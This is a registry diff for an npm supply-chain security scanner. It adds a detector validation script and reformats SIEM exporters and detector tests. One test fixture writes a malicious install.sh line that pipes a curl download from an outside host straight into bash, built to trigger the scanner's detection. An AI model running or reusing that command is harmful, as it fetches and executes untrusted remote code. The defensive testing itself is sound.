@lateos/npm-scan 1.0.0 → 1.1.1
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.de.md +3 -98
- package/README.fr.md +3 -98
- package/README.ja.md +3 -98
- package/README.md +2 -122
- package/README.zh.md +3 -98
- package/backend/cra.js +113 -21
- package/backend/db.js +18 -10
- package/backend/detectors/atk-001-lifecycle.js +5 -5
- package/backend/detectors/atk-002-obfusc.js +126 -47
- package/backend/detectors/atk-003-creds.js +8 -4
- package/backend/detectors/atk-004-persist.js +3 -3
- package/backend/detectors/atk-005-exfil.js +8 -4
- package/backend/detectors/atk-006-depconf.js +3 -3
- package/backend/detectors/atk-007-typosquat.js +64 -10
- package/backend/detectors/atk-008-tarball-tamper.js +6 -6
- package/backend/detectors/atk-009-dormant-trigger.js +9 -5
- package/backend/detectors/atk-010-sandbox-evasion.js +25 -10
- package/backend/detectors/atk-011-transitive-prop.js +14 -13
- package/backend/detectors/axios-poisoning/d1-version-fingerprint.js +4 -4
- package/backend/detectors/axios-poisoning/d2-decoy-dep.js +5 -1
- package/backend/detectors/axios-poisoning/d3-postinstall-rat.js +64 -19
- package/backend/detectors/axios-poisoning/index.js +77 -60
- package/backend/detectors/config/thresholds.js +48 -3
- package/backend/detectors/cve-2026-48710-badhost/codePattern.js +26 -9
- package/backend/detectors/cve-2026-48710-badhost/findings.js +8 -4
- package/backend/detectors/cve-2026-48710-badhost/index.js +1 -1
- package/backend/detectors/cve-2026-48710-badhost/manifest.js +127 -39
- package/backend/detectors/cve-2026-48710-badhost/transitive.js +87 -28
- package/backend/detectors/hf-impersonation/index.js +94 -31
- package/backend/detectors/hf-impersonation/jaro-winkler.js +33 -12
- package/backend/detectors/hf-impersonation/known-orgs.js +15 -3
- package/backend/detectors/hf-impersonation/simhash.js +2 -2
- package/backend/detectors/index.js +181 -34
- package/backend/detectors/lib/ast-patterns.js +4 -1
- package/backend/detectors/lib/entropy-analyzer.js +12 -4
- package/backend/detectors/megalodon/d1-workflow-scan.js +40 -16
- package/backend/detectors/megalodon/d2-credential-harvest.js +12 -5
- package/backend/detectors/megalodon/d3-publish-velocity.js +17 -11
- package/backend/detectors/megalodon/d4-publisher-drift.js +48 -16
- package/backend/detectors/megalodon/d5-bot-commit-identity.js +1 -1
- package/backend/detectors/megalodon/d6-date-anachronism.js +1 -1
- package/backend/detectors/megalodon/index.js +35 -25
- package/backend/detectors/mini-shai-hulud/d1-burst-publish.js +3 -1
- package/backend/detectors/mini-shai-hulud/d2-sibling-compromise.js +22 -10
- package/backend/detectors/mini-shai-hulud/d3-slsa-mismatch.js +30 -10
- package/backend/detectors/mini-shai-hulud/d4-maintainer-anomaly.js +17 -13
- package/backend/detectors/mini-shai-hulud/d5-ioc-check.js +12 -4
- package/backend/detectors/mini-shai-hulud/d6-token-exfil.js +6 -2
- package/backend/detectors/mini-shai-hulud/index.js +63 -26
- package/backend/detectors/msh-supplement/d2-persistence.js +30 -12
- package/backend/detectors/msh-supplement/d3-geo-killswitch.js +20 -8
- package/backend/detectors/msh-supplement/d4-c2-deaddrop.js +19 -5
- package/backend/detectors/msh-supplement/index.js +78 -63
- package/backend/detectors/node-ipc-compromise/d1-version-blocklist.js +4 -2
- package/backend/detectors/node-ipc-compromise/d10-unauthorized-publisher.js +9 -5
- package/backend/detectors/node-ipc-compromise/d11-blast-radius.js +7 -3
- package/backend/detectors/node-ipc-compromise/d2-tarball-hash.js +9 -4
- package/backend/detectors/node-ipc-compromise/d3-cjs-payload-injection.js +7 -5
- package/backend/detectors/node-ipc-compromise/d4-injected-payload-hash.js +4 -2
- package/backend/detectors/node-ipc-compromise/d5-dns-c2-pattern.js +13 -10
- package/backend/detectors/node-ipc-compromise/d7-dns-txt-exfil.js +3 -1
- package/backend/detectors/node-ipc-compromise/d8-runtime-trigger.js +5 -2
- package/backend/detectors/node-ipc-compromise/index.js +21 -15
- package/backend/detectors/tier1-binary-embed.js +109 -41
- package/backend/detectors/tier1-cloud-imds.js +57 -37
- package/backend/detectors/tier1-encrypted-c2.js +198 -0
- package/backend/detectors/tier1-infostealer.js +121 -68
- package/backend/detectors/tier1-lifecycle-hook.js +63 -23
- package/backend/detectors/tier1-maintainer-compromise.js +157 -0
- package/backend/detectors/tier1-metadata-spoof.js +92 -42
- package/backend/detectors/tier1-multistage-postinstall.js +46 -19
- package/backend/detectors/tier1-obfuscation-heuristics.js +45 -17
- package/backend/detectors/tier1-self-propagation.js +115 -0
- package/backend/detectors/tier1-slsa-attestation.js +1 -1
- package/backend/detectors/tier1-transitive-deps.js +182 -0
- package/backend/detectors/tier1-typosquat.js +129 -50
- package/backend/detectors/tier1-version-anomaly.js +77 -41
- package/backend/detectors/tier1-version-confusion.js +79 -59
- package/backend/detectors/trapdoor/d1-campaign-marker.js +3 -1
- package/backend/detectors/trapdoor/d2-payload-fingerprint.js +1 -1
- package/backend/detectors/trapdoor/d3-publisher-blocklist.js +4 -3
- package/backend/detectors/trapdoor/d4-gists-exfil.js +4 -2
- package/backend/detectors/trapdoor/d5-ai-poisoning.js +5 -3
- package/backend/detectors/trapdoor/d6-lure-name.js +12 -7
- package/backend/detectors/trapdoor/d7-crypto-primitives.js +2 -2
- package/backend/detectors/trapdoor/d8-xor-key.js +7 -2
- package/backend/detectors/trapdoor/d9-cred-validation.js +4 -5
- package/backend/detectors/trapdoor/index.js +19 -14
- package/backend/detectors/typosquat-vpmdhaj/d1-maintainer.js +32 -8
- package/backend/detectors/typosquat-vpmdhaj/d2-preinstall-loader.js +5 -3
- package/backend/detectors/typosquat-vpmdhaj/d3-cred-exfil.js +34 -12
- package/backend/detectors/typosquat-vpmdhaj/index.js +78 -59
- package/backend/detectors.test.js +78 -19
- package/backend/fetch.js +37 -29
- package/backend/index.js +1 -1
- package/backend/license.js +20 -4
- package/backend/lockfile.js +60 -36
- package/backend/pdf.js +107 -28
- package/backend/policy.js +183 -56
- package/backend/provenance.js +28 -3
- package/backend/report.js +136 -70
- package/backend/sbom.js +33 -27
- package/backend/scripts/analyze-false-positives.js +14 -8
- package/backend/scripts/analyze-validation.js +27 -21
- package/backend/scripts/detect-false-positives.js +20 -10
- package/backend/scripts/fetch-top-packages.js +197 -49
- package/backend/scripts/validate-d10-d13.js +103 -0
- package/backend/scripts/validate-detectors.js +26 -17
- package/backend/siem/cef.js +23 -21
- package/backend/siem/ecs.js +3 -3
- package/backend/siem/index.js +1 -1
- package/backend/siem/qradar.js +3 -3
- package/backend/siem/sentinel.js +2 -2
- package/backend/tests-d5-enhanced.test.js +13 -12
- package/backend/tests-d6-version-anomaly.test.js +17 -8
- package/backend/tests-d6.test.js +24 -14
- package/backend/tests-d6c.test.js +27 -14
- package/backend/tests-d7-obfuscation.test.js +9 -12
- package/backend/tests.test.js +182 -83
- package/backend/vsix-scan/detectors/activation-event-risk.js +36 -19
- package/backend/vsix-scan/detectors/burst-publish.js +14 -7
- package/backend/vsix-scan/detectors/exfil-pattern.js +7 -3
- package/backend/vsix-scan/detectors/known-ioc.js +23 -8
- package/backend/vsix-scan/detectors/orphan-commit-fetch.js +11 -7
- package/backend/vsix-scan/detectors/publisher-anomaly.js +24 -10
- package/backend/vsix-scan/index.js +97 -41
- package/backend/vsix-scan/marketplace-client.js +29 -13
- package/cli/cli.js +154 -64
- package/package.json +12 -3
|
@@ -0,0 +1,103 @@
|
|
|
1
|
+
import { scan as d10scan } from '../detectors/tier1-self-propagation.js';
|
|
2
|
+
import { scan as d11scan } from '../detectors/tier1-encrypted-c2.js';
|
|
3
|
+
import { scan as d12scan } from '../detectors/tier1-transitive-deps.js';
|
|
4
|
+
import { scan as d13scan } from '../detectors/tier1-maintainer-compromise.js';
|
|
5
|
+
|
|
6
|
+
const results = [];
|
|
7
|
+
|
|
8
|
+
// D10 + D13: @redhat-cloud-services Miasma (32 packages, 12 versions in 2 hours)
|
|
9
|
+
const miasmaTime = { '0.0.1': '2024-01-01T00:00:00.000Z' };
|
|
10
|
+
for (let i = 0; i < 12; i++) {
|
|
11
|
+
const t = new Date('2026-06-01T03:00:00Z');
|
|
12
|
+
t.setMinutes(t.getMinutes() - (12 - i) * 10);
|
|
13
|
+
miasmaTime[`2.${i}.0`] = t.toISOString();
|
|
14
|
+
}
|
|
15
|
+
const miasmaRegistryD10 = {
|
|
16
|
+
time: miasmaTime,
|
|
17
|
+
namespacePackages: Array.from({ length: 31 }, (_, i) => `@redhat-cloud-services/pkg-${i}`),
|
|
18
|
+
};
|
|
19
|
+
const miasmaRegistryD13 = {
|
|
20
|
+
time: miasmaTime,
|
|
21
|
+
crossPackageBurst: true,
|
|
22
|
+
};
|
|
23
|
+
|
|
24
|
+
const d10Result = await d10scan(
|
|
25
|
+
{ name: '@redhat-cloud-services/foo', version: '2.11.0' },
|
|
26
|
+
[],
|
|
27
|
+
miasmaRegistryD10,
|
|
28
|
+
null
|
|
29
|
+
);
|
|
30
|
+
const d13Result = await d13scan(
|
|
31
|
+
{ name: '@redhat-cloud-services/foo', version: '2.11.0' },
|
|
32
|
+
[],
|
|
33
|
+
miasmaRegistryD13,
|
|
34
|
+
null
|
|
35
|
+
);
|
|
36
|
+
|
|
37
|
+
results.push({
|
|
38
|
+
campaign: '@redhat-cloud-services Miasma',
|
|
39
|
+
detectors: {
|
|
40
|
+
D10: { triggered: d10Result.length > 0, confidence: d10Result[0]?.confidenceScore || 0 },
|
|
41
|
+
D13: { triggered: d13Result.length > 0, confidence: d13Result[0]?.confidenceScore || 0 },
|
|
42
|
+
},
|
|
43
|
+
});
|
|
44
|
+
|
|
45
|
+
// D11: TanStack Mini Shai-Hulud
|
|
46
|
+
const tanStackFiles = [
|
|
47
|
+
{ path: 'install.sh', content: 'curl -s https://filev2.getsession.org/upload | bash' },
|
|
48
|
+
];
|
|
49
|
+
const d11Result = await d11scan(
|
|
50
|
+
{ name: '@tanstack/react-query', version: '4.29.1' },
|
|
51
|
+
tanStackFiles,
|
|
52
|
+
null,
|
|
53
|
+
null
|
|
54
|
+
);
|
|
55
|
+
|
|
56
|
+
results.push({
|
|
57
|
+
campaign: 'TanStack Mini Shai-Hulud',
|
|
58
|
+
detectors: {
|
|
59
|
+
D11: { triggered: d11Result.length > 0, confidence: d11Result[0]?.confidenceScore || 0 },
|
|
60
|
+
},
|
|
61
|
+
});
|
|
62
|
+
|
|
63
|
+
// D12: Axios Backdoor (plain-crypto-js)
|
|
64
|
+
const d12Result = await d12scan(
|
|
65
|
+
{
|
|
66
|
+
name: 'test-app',
|
|
67
|
+
dependencies: { axios: '1.14.1', 'plain-crypto-js': '1.0.0', lodash: '4.17.21' },
|
|
68
|
+
},
|
|
69
|
+
[],
|
|
70
|
+
null,
|
|
71
|
+
null
|
|
72
|
+
);
|
|
73
|
+
|
|
74
|
+
results.push({
|
|
75
|
+
campaign: 'Axios Backdoor',
|
|
76
|
+
detectors: {
|
|
77
|
+
D12: { triggered: d12Result.length > 0, confidence: d12Result[0]?.confidenceScore || 0 },
|
|
78
|
+
},
|
|
79
|
+
});
|
|
80
|
+
|
|
81
|
+
let allPassed = true;
|
|
82
|
+
for (const { campaign, detectors } of results) {
|
|
83
|
+
const details = Object.entries(detectors)
|
|
84
|
+
.map(([d, r]) => `${d}: ${r.triggered ? 'PASS' : 'FAIL'} (confidence ${r.confidence})`)
|
|
85
|
+
.join(', ');
|
|
86
|
+
const campaignPassed = Object.values(detectors).every((r) => r.triggered);
|
|
87
|
+
console.log(`${campaignPassed ? 'PASS' : 'FAIL'} ${campaign}: ${details}`);
|
|
88
|
+
if (!campaignPassed) allPassed = false;
|
|
89
|
+
}
|
|
90
|
+
|
|
91
|
+
if (allPassed) {
|
|
92
|
+
console.log('\nAll campaigns validated successfully.');
|
|
93
|
+
} else {
|
|
94
|
+
console.log('\nSome campaigns FAILED validation.');
|
|
95
|
+
}
|
|
96
|
+
|
|
97
|
+
const output = {
|
|
98
|
+
timestamp: new Date().toISOString(),
|
|
99
|
+
results,
|
|
100
|
+
passed: allPassed,
|
|
101
|
+
};
|
|
102
|
+
const fs = await import('fs');
|
|
103
|
+
fs.writeFileSync('validation-d10-d13.json', JSON.stringify(output, null, 2));
|
|
@@ -16,14 +16,19 @@ function loadFixture(filePath) {
|
|
|
16
16
|
return [];
|
|
17
17
|
}
|
|
18
18
|
const text = readFileSync(abs, 'utf-8');
|
|
19
|
-
return text
|
|
19
|
+
return text
|
|
20
|
+
.split('\n')
|
|
21
|
+
.filter((l) => l.trim())
|
|
22
|
+
.map((l) => JSON.parse(l));
|
|
20
23
|
}
|
|
21
24
|
|
|
22
25
|
async function fetchNpmMetadata(pkgName, version) {
|
|
23
26
|
try {
|
|
24
27
|
const url = `https://registry.npmjs.org/${encodeURIComponent(pkgName)}/${version}`;
|
|
25
28
|
const response = await fetch(url, { signal: AbortSignal.timeout(5000) });
|
|
26
|
-
if (!response.ok)
|
|
29
|
+
if (!response.ok) {
|
|
30
|
+
return null;
|
|
31
|
+
}
|
|
27
32
|
return await response.json();
|
|
28
33
|
} catch {
|
|
29
34
|
console.warn(` [WARN] Registry fetch failed for ${pkgName}@${version}; using fixture data`);
|
|
@@ -32,8 +37,12 @@ async function fetchNpmMetadata(pkgName, version) {
|
|
|
32
37
|
}
|
|
33
38
|
|
|
34
39
|
function constructRegistryMeta(pkg, liveMeta) {
|
|
35
|
-
if (liveMeta)
|
|
36
|
-
|
|
40
|
+
if (liveMeta) {
|
|
41
|
+
return liveMeta;
|
|
42
|
+
}
|
|
43
|
+
if (pkg.mockRegistryMeta) {
|
|
44
|
+
return pkg.mockRegistryMeta;
|
|
45
|
+
}
|
|
37
46
|
return null;
|
|
38
47
|
}
|
|
39
48
|
|
|
@@ -48,9 +57,7 @@ function constructPkgJson(pkg) {
|
|
|
48
57
|
async function validateDetectors(campaigns, outputFile) {
|
|
49
58
|
const allResults = [];
|
|
50
59
|
|
|
51
|
-
const campaignKeys = campaigns === 'all'
|
|
52
|
-
? Object.keys(CAMPAIGN_FIXTURES)
|
|
53
|
-
: [campaigns];
|
|
60
|
+
const campaignKeys = campaigns === 'all' ? Object.keys(CAMPAIGN_FIXTURES) : [campaigns];
|
|
54
61
|
|
|
55
62
|
for (const campaignKey of campaignKeys) {
|
|
56
63
|
const fixturePath = CAMPAIGN_FIXTURES[campaignKey];
|
|
@@ -71,7 +78,7 @@ async function validateDetectors(campaigns, outputFile) {
|
|
|
71
78
|
|
|
72
79
|
const findings = await runAll(pkgJson, [], registryMeta, []);
|
|
73
80
|
|
|
74
|
-
const detectedIds = [...new Set(findings.map(f => f.id))];
|
|
81
|
+
const detectedIds = [...new Set(findings.map((f) => f.id))];
|
|
75
82
|
|
|
76
83
|
const result = {
|
|
77
84
|
package: pkg.package,
|
|
@@ -82,7 +89,7 @@ async function validateDetectors(campaigns, outputFile) {
|
|
|
82
89
|
expected_detectors: pkg.expected_detectors,
|
|
83
90
|
detected_detectors: detectedIds,
|
|
84
91
|
detection_count: findings.length,
|
|
85
|
-
detections: findings.map(f => ({
|
|
92
|
+
detections: findings.map((f) => ({
|
|
86
93
|
id: f.id,
|
|
87
94
|
detector: f.detector,
|
|
88
95
|
severity: f.severity,
|
|
@@ -99,7 +106,7 @@ async function validateDetectors(campaigns, outputFile) {
|
|
|
99
106
|
allResults.push(result);
|
|
100
107
|
|
|
101
108
|
const expectedCount = pkg.expected_detectors.length;
|
|
102
|
-
const hitCount = detectedIds.filter(id => pkg.expected_detectors.includes(id)).length;
|
|
109
|
+
const hitCount = detectedIds.filter((id) => pkg.expected_detectors.includes(id)).length;
|
|
103
110
|
console.log(
|
|
104
111
|
` ${hitCount > 0 ? '✓' : '✗'} ${pkg.package}@${pkg.version}: ${hitCount}/${expectedCount} expected detectors fired`
|
|
105
112
|
);
|
|
@@ -120,12 +127,12 @@ async function validateDetectors(campaigns, outputFile) {
|
|
|
120
127
|
}
|
|
121
128
|
|
|
122
129
|
if (outputFile) {
|
|
123
|
-
const lines = allResults.map(r => JSON.stringify(r)).join('\n') + '\n';
|
|
130
|
+
const lines = allResults.map((r) => JSON.stringify(r)).join('\n') + '\n';
|
|
124
131
|
writeFileSync(outputFile, lines, 'utf-8');
|
|
125
132
|
}
|
|
126
133
|
|
|
127
|
-
const processed = allResults.filter(r => !r.error).length;
|
|
128
|
-
const errors = allResults.filter(r => r.error).length;
|
|
134
|
+
const processed = allResults.filter((r) => !r.error).length;
|
|
135
|
+
const errors = allResults.filter((r) => r.error).length;
|
|
129
136
|
console.log(`\n[SUMMARY] Processed ${processed} packages, ${errors} errors`);
|
|
130
137
|
console.log(`[INFO] Results written to ${outputFile}`);
|
|
131
138
|
|
|
@@ -136,7 +143,9 @@ const args = process.argv.slice(2);
|
|
|
136
143
|
const campaignArg = args[0] || 'all';
|
|
137
144
|
const outputArg = args[1] ? resolve(args[1]) : resolve('validation-results.jsonl');
|
|
138
145
|
|
|
139
|
-
validateDetectors(campaignArg, outputArg)
|
|
140
|
-
|
|
141
|
-
|
|
142
|
-
});
|
|
146
|
+
validateDetectors(campaignArg, outputArg)
|
|
147
|
+
.then(() => process.exit(0))
|
|
148
|
+
.catch((err) => {
|
|
149
|
+
console.error(`[ERROR] ${err.message}`);
|
|
150
|
+
process.exit(1);
|
|
151
|
+
});
|
package/backend/siem/cef.js
CHANGED
|
@@ -1,33 +1,35 @@
|
|
|
1
1
|
export function generateCEF(scans) {
|
|
2
2
|
const entries = [];
|
|
3
3
|
for (const s of scans) {
|
|
4
|
-
for (const f of
|
|
4
|
+
for (const f of s.findings || []) {
|
|
5
5
|
const atkId = f.atk_id || f.id;
|
|
6
6
|
const desc = (f.description || f.title || '').replace(/\\/g, '\\\\').replace(/\|/g, '\\|');
|
|
7
7
|
const sevMap = { critical: 10, high: 8, medium: 5, low: 2 };
|
|
8
8
|
const sev = sevMap[f.severity] || 5;
|
|
9
9
|
const pkgName = (s.package_name || 'unknown').replace(/\|/g, '\\|');
|
|
10
10
|
const pkgVer = (s.version || '').replace(/\|/g, '\\|');
|
|
11
|
-
entries.push(
|
|
12
|
-
|
|
13
|
-
|
|
14
|
-
|
|
15
|
-
|
|
16
|
-
|
|
17
|
-
|
|
18
|
-
|
|
19
|
-
|
|
20
|
-
|
|
21
|
-
|
|
22
|
-
|
|
23
|
-
|
|
24
|
-
|
|
25
|
-
|
|
26
|
-
|
|
27
|
-
|
|
28
|
-
|
|
29
|
-
|
|
11
|
+
entries.push(
|
|
12
|
+
[
|
|
13
|
+
'CEF:0',
|
|
14
|
+
'npm-scan',
|
|
15
|
+
'npm-scan',
|
|
16
|
+
process.env.npm_package_version || '0.4.0',
|
|
17
|
+
atkId,
|
|
18
|
+
desc,
|
|
19
|
+
String(sev),
|
|
20
|
+
`suser=${pkgName} ${pkgVer}`,
|
|
21
|
+
`msg=${desc}`,
|
|
22
|
+
`cs1=${atkId}`,
|
|
23
|
+
`cs1Label=atkId`,
|
|
24
|
+
`cs2=${f.severity}`,
|
|
25
|
+
`cs2Label=severity`,
|
|
26
|
+
`cs3=${pkgName}`,
|
|
27
|
+
`cs3Label=package`,
|
|
28
|
+
`cs4=${pkgVer}`,
|
|
29
|
+
`cs4Label=version`,
|
|
30
|
+
].join('|')
|
|
31
|
+
);
|
|
30
32
|
}
|
|
31
33
|
}
|
|
32
34
|
return entries.join('\n');
|
|
33
|
-
}
|
|
35
|
+
}
|
package/backend/siem/ecs.js
CHANGED
|
@@ -1,7 +1,7 @@
|
|
|
1
1
|
export function generateECS(scans) {
|
|
2
2
|
const events = [];
|
|
3
3
|
for (const s of scans) {
|
|
4
|
-
for (const f of
|
|
4
|
+
for (const f of s.findings || []) {
|
|
5
5
|
const atkId = f.atk_id || f.id;
|
|
6
6
|
const sevMap = { critical: 100, high: 80, medium: 50, low: 20 };
|
|
7
7
|
events.push({
|
|
@@ -37,5 +37,5 @@ export function generateECS(scans) {
|
|
|
37
37
|
});
|
|
38
38
|
}
|
|
39
39
|
}
|
|
40
|
-
return events.map(e => JSON.stringify(e)).join('\n');
|
|
41
|
-
}
|
|
40
|
+
return events.map((e) => JSON.stringify(e)).join('\n');
|
|
41
|
+
}
|
package/backend/siem/index.js
CHANGED
package/backend/siem/qradar.js
CHANGED
|
@@ -1,7 +1,7 @@
|
|
|
1
1
|
export function generateQRadar(scans) {
|
|
2
2
|
const events = [];
|
|
3
3
|
for (const s of scans) {
|
|
4
|
-
for (const f of
|
|
4
|
+
for (const f of s.findings || []) {
|
|
5
5
|
const atkId = f.atk_id || f.id;
|
|
6
6
|
events.push({
|
|
7
7
|
source: 'npm-scan',
|
|
@@ -32,7 +32,7 @@ export function generateQRadar(scans) {
|
|
|
32
32
|
});
|
|
33
33
|
}
|
|
34
34
|
}
|
|
35
|
-
return events.map(e => JSON.stringify(e)).join('\n');
|
|
35
|
+
return events.map((e) => JSON.stringify(e)).join('\n');
|
|
36
36
|
}
|
|
37
37
|
|
|
38
38
|
const QID_MAP = {
|
|
@@ -54,4 +54,4 @@ function _qrCategory(severity) {
|
|
|
54
54
|
low: 'Low Severity Malware',
|
|
55
55
|
};
|
|
56
56
|
return map[severity] || 'Medium Severity Malware';
|
|
57
|
-
}
|
|
57
|
+
}
|
package/backend/siem/sentinel.js
CHANGED
|
@@ -1,7 +1,7 @@
|
|
|
1
1
|
export function generateSentinel(scans) {
|
|
2
2
|
const events = [];
|
|
3
3
|
for (const s of scans) {
|
|
4
|
-
for (const f of
|
|
4
|
+
for (const f of s.findings || []) {
|
|
5
5
|
const atkId = f.atk_id || f.id;
|
|
6
6
|
events.push({
|
|
7
7
|
TimeGenerated: new Date().toISOString(),
|
|
@@ -25,4 +25,4 @@ export function generateSentinel(scans) {
|
|
|
25
25
|
}
|
|
26
26
|
}
|
|
27
27
|
return JSON.stringify(events, null, 2);
|
|
28
|
-
}
|
|
28
|
+
}
|
|
@@ -11,10 +11,10 @@ describe('D5: Binary Embed Enhancement', () => {
|
|
|
11
11
|
];
|
|
12
12
|
const pkg = { name: 'suspicious-pkg', version: '1.0.0' };
|
|
13
13
|
const findings = await detectors.runAll(pkg, [], null, allFiles);
|
|
14
|
-
const matches = findings.filter(f => f.id === 'TIER1-BINARY-EMBED');
|
|
14
|
+
const matches = findings.filter((f) => f.id === 'TIER1-BINARY-EMBED');
|
|
15
15
|
assert(matches.length > 0, 'Expected TIER1-BINARY-EMBED finding');
|
|
16
|
-
const hasCrossPlatform = matches.some(m =>
|
|
17
|
-
m.evidence.some(e => e.includes('cross-platform'))
|
|
16
|
+
const hasCrossPlatform = matches.some((m) =>
|
|
17
|
+
m.evidence.some((e) => e.includes('cross-platform'))
|
|
18
18
|
);
|
|
19
19
|
assert(hasCrossPlatform, 'Expected cross-platform binary set evidence');
|
|
20
20
|
});
|
|
@@ -26,20 +26,21 @@ describe('D5: Binary Embed Enhancement', () => {
|
|
|
26
26
|
];
|
|
27
27
|
const pkg = { name: 'suspicious-pkg', version: '1.0.0' };
|
|
28
28
|
const findings = await detectors.runAll(pkg, [], null, allFiles);
|
|
29
|
-
const matches = findings.filter(f => f.id === 'TIER1-BINARY-EMBED');
|
|
30
|
-
const hasHighScore = matches.some(m => m.confidenceScore > 85);
|
|
31
|
-
assert(
|
|
29
|
+
const matches = findings.filter((f) => f.id === 'TIER1-BINARY-EMBED');
|
|
30
|
+
const hasHighScore = matches.some((m) => m.confidenceScore > 85);
|
|
31
|
+
assert(
|
|
32
|
+
hasHighScore,
|
|
33
|
+
`No finding with confidenceScore > 85; scores: ${matches.map((m) => m.confidenceScore).join(', ')}`
|
|
34
|
+
);
|
|
32
35
|
});
|
|
33
36
|
|
|
34
37
|
test('D5: single binary not flagged as cross-platform', async () => {
|
|
35
|
-
const allFiles = [
|
|
36
|
-
{ path: 'bin/agent-linux-x64', content: String.fromCharCode(0x7f) + 'ELF' },
|
|
37
|
-
];
|
|
38
|
+
const allFiles = [{ path: 'bin/agent-linux-x64', content: String.fromCharCode(0x7f) + 'ELF' }];
|
|
38
39
|
const pkg = { name: 'normal-pkg', version: '1.0.0' };
|
|
39
40
|
const findings = await detectors.runAll(pkg, [], null, allFiles);
|
|
40
|
-
const matches = findings.filter(f => f.id === 'TIER1-BINARY-EMBED');
|
|
41
|
-
const hasPlatformLabel = matches.some(m =>
|
|
42
|
-
m.evidence.some(e => e.includes('cross-platform'))
|
|
41
|
+
const matches = findings.filter((f) => f.id === 'TIER1-BINARY-EMBED');
|
|
42
|
+
const hasPlatformLabel = matches.some((m) =>
|
|
43
|
+
m.evidence.some((e) => e.includes('cross-platform'))
|
|
43
44
|
);
|
|
44
45
|
assert(!hasPlatformLabel, 'Single binary should not be flagged as cross-platform');
|
|
45
46
|
});
|
|
@@ -7,7 +7,7 @@ describe('D6: Version Anomaly', () => {
|
|
|
7
7
|
const pkg = { name: '@widget/core', version: '99.99.99' };
|
|
8
8
|
const registryMeta = ['1.0.0', '1.5.0', '2.0.0', '2.1.0', '3.0.0', '4.0.0', '5.0.0', '5.3.2'];
|
|
9
9
|
const findings = await detectors.runAll(pkg, [], registryMeta);
|
|
10
|
-
const match = findings.find(f => f.id === 'TIER1-VERSION-ANOMALY');
|
|
10
|
+
const match = findings.find((f) => f.id === 'TIER1-VERSION-ANOMALY');
|
|
11
11
|
assert(match, 'Expected TIER1-VERSION-ANOMALY finding');
|
|
12
12
|
assert(match.confidenceScore > 90, `confidenceScore ${match.confidenceScore} <= 90`);
|
|
13
13
|
});
|
|
@@ -16,7 +16,7 @@ describe('D6: Version Anomaly', () => {
|
|
|
16
16
|
const pkg = { name: 'internal-utils', version: '11.11.11' };
|
|
17
17
|
const registryMeta = ['1.0.0', '1.0.1', '1.1.0', '1.2.0', '2.0.0'];
|
|
18
18
|
const findings = await detectors.runAll(pkg, [], registryMeta);
|
|
19
|
-
const match = findings.find(f => f.id === 'TIER1-VERSION-ANOMALY');
|
|
19
|
+
const match = findings.find((f) => f.id === 'TIER1-VERSION-ANOMALY');
|
|
20
20
|
assert(match, 'Expected TIER1-VERSION-ANOMALY finding');
|
|
21
21
|
assert(match.confidenceScore > 85, `confidenceScore ${match.confidenceScore} <= 85`);
|
|
22
22
|
});
|
|
@@ -24,18 +24,27 @@ describe('D6: Version Anomaly', () => {
|
|
|
24
24
|
test('D6: does NOT flag legitimate 2.0.0 jump from 1.9.9', async () => {
|
|
25
25
|
const pkg = { name: 'stable-lib', version: '2.0.0' };
|
|
26
26
|
const registryMeta = [
|
|
27
|
-
'1.0.0',
|
|
28
|
-
'1.
|
|
27
|
+
'1.0.0',
|
|
28
|
+
'1.1.0',
|
|
29
|
+
'1.2.0',
|
|
30
|
+
'1.3.0',
|
|
31
|
+
'1.4.0',
|
|
32
|
+
'1.5.0',
|
|
33
|
+
'1.6.0',
|
|
34
|
+
'1.7.0',
|
|
35
|
+
'1.8.0',
|
|
36
|
+
'1.9.0',
|
|
37
|
+
'1.9.9',
|
|
29
38
|
];
|
|
30
39
|
const findings = await detectors.runAll(pkg, [], registryMeta);
|
|
31
|
-
const match = findings.find(f => f.id === 'TIER1-VERSION-ANOMALY');
|
|
40
|
+
const match = findings.find((f) => f.id === 'TIER1-VERSION-ANOMALY');
|
|
32
41
|
assert(!match, 'Should not flag legitimate 2.0.0 major bump');
|
|
33
42
|
});
|
|
34
43
|
|
|
35
44
|
test('D6: handles null registry gracefully — degrades confidence', async () => {
|
|
36
45
|
const pkg = { name: 'offline-pkg', version: '99.99.99' };
|
|
37
46
|
const findings = await detectors.runAll(pkg);
|
|
38
|
-
const match = findings.find(f => f.id === 'TIER1-VERSION-ANOMALY');
|
|
47
|
+
const match = findings.find((f) => f.id === 'TIER1-VERSION-ANOMALY');
|
|
39
48
|
assert(match, 'Expected TIER1-VERSION-ANOMALY finding');
|
|
40
49
|
assert(match.confidenceScore < 70, `confidenceScore ${match.confidenceScore} >= 70`);
|
|
41
50
|
});
|
|
@@ -44,7 +53,7 @@ describe('D6: Version Anomaly', () => {
|
|
|
44
53
|
const pkg = { name: 'react', version: '99.99.99' };
|
|
45
54
|
const registryMeta = ['1.0.0', '2.0.0'];
|
|
46
55
|
const findings = await detectors.runAll(pkg, [], registryMeta);
|
|
47
|
-
const match = findings.find(f => f.id === 'TIER1-VERSION-ANOMALY');
|
|
56
|
+
const match = findings.find((f) => f.id === 'TIER1-VERSION-ANOMALY');
|
|
48
57
|
assert(!match);
|
|
49
58
|
});
|
|
50
59
|
|
|
@@ -52,7 +61,7 @@ describe('D6: Version Anomaly', () => {
|
|
|
52
61
|
const pkg = { name: 'widget-core', version: '5.4.1' };
|
|
53
62
|
const registryMeta = ['1.0.0', '2.0.0', '3.0.0', '4.0.0', '5.0.0', '5.4.0'];
|
|
54
63
|
const findings = await detectors.runAll(pkg, [], registryMeta);
|
|
55
|
-
const match = findings.find(f => f.id === 'TIER1-VERSION-ANOMALY');
|
|
64
|
+
const match = findings.find((f) => f.id === 'TIER1-VERSION-ANOMALY');
|
|
56
65
|
assert(!match);
|
|
57
66
|
});
|
|
58
67
|
});
|
package/backend/tests-d6.test.js
CHANGED
|
@@ -8,7 +8,7 @@ describe('D6a — tier1-version-confusion', () => {
|
|
|
8
8
|
test('D6a: detects exact sentinel version 99.99.99', async () => {
|
|
9
9
|
const pkg = { name: 'internal-utils', version: '99.99.99' };
|
|
10
10
|
const findings = await detectors.runAll(pkg);
|
|
11
|
-
const match = findings.find(f => f.id === 'TIER1-VERSION-CONFUSION');
|
|
11
|
+
const match = findings.find((f) => f.id === 'TIER1-VERSION-CONFUSION');
|
|
12
12
|
assert(match, 'Expected TIER1-VERSION-CONFUSION finding');
|
|
13
13
|
assert.equal(match.confidence, 'HIGH');
|
|
14
14
|
